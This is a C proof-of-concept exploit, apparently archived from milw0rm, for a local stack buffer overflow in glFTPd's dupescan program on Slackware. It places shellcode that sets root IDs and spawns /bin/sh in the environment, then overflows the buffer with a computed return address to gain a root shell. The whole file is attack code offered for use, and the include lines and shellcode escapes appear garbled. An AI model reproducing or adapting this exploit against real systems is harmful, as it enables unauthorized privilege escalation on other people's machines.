/* glFTPd local stack buffer overflow exploit
(Proof of Concept)
Tested in Slackware 9.0 / 9.1 / 10.0
by CoKi
No System Group - http://www.nosystem.com.ar
*/
#include <'stdio.h>
#include <'strings.h>
#include <'unistd.h>
#define BUFFER 288 + 1
#define PATH "/glftpd/bin/dupescan"
char shellcode[]=
"xb0x31xcdx80x89xc3x31xc0xb0x17xcdx80"
"x31xdbx31xc0xb0x17xcdx80"
"xebx1fx5ex89x76x08x31xc0x89x46x0cx88x46x07"
"xb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdb"
"x89xd8x40xcdx80xe8xdcxffxffxff/bin/sh";
int main(void) {
char *env[3] = {shellcode, NULL};
char buf[BUFFER], *path;
int *buffer = (int *) (buf);
int i;
int ret = 0xbffffffa - strlen(shellcode) - strlen(PATH);
for(i=0; i<=BUFFER; i+=4)
*buffer++ = ret;
printf(" glFTPd local stack buffer overflow (Proof of Concept) ");
printf(" by CoKi ");
execle(PATH, "dupescan", buf, NULL, env);
}
// milw0rm.com [2004-09-23]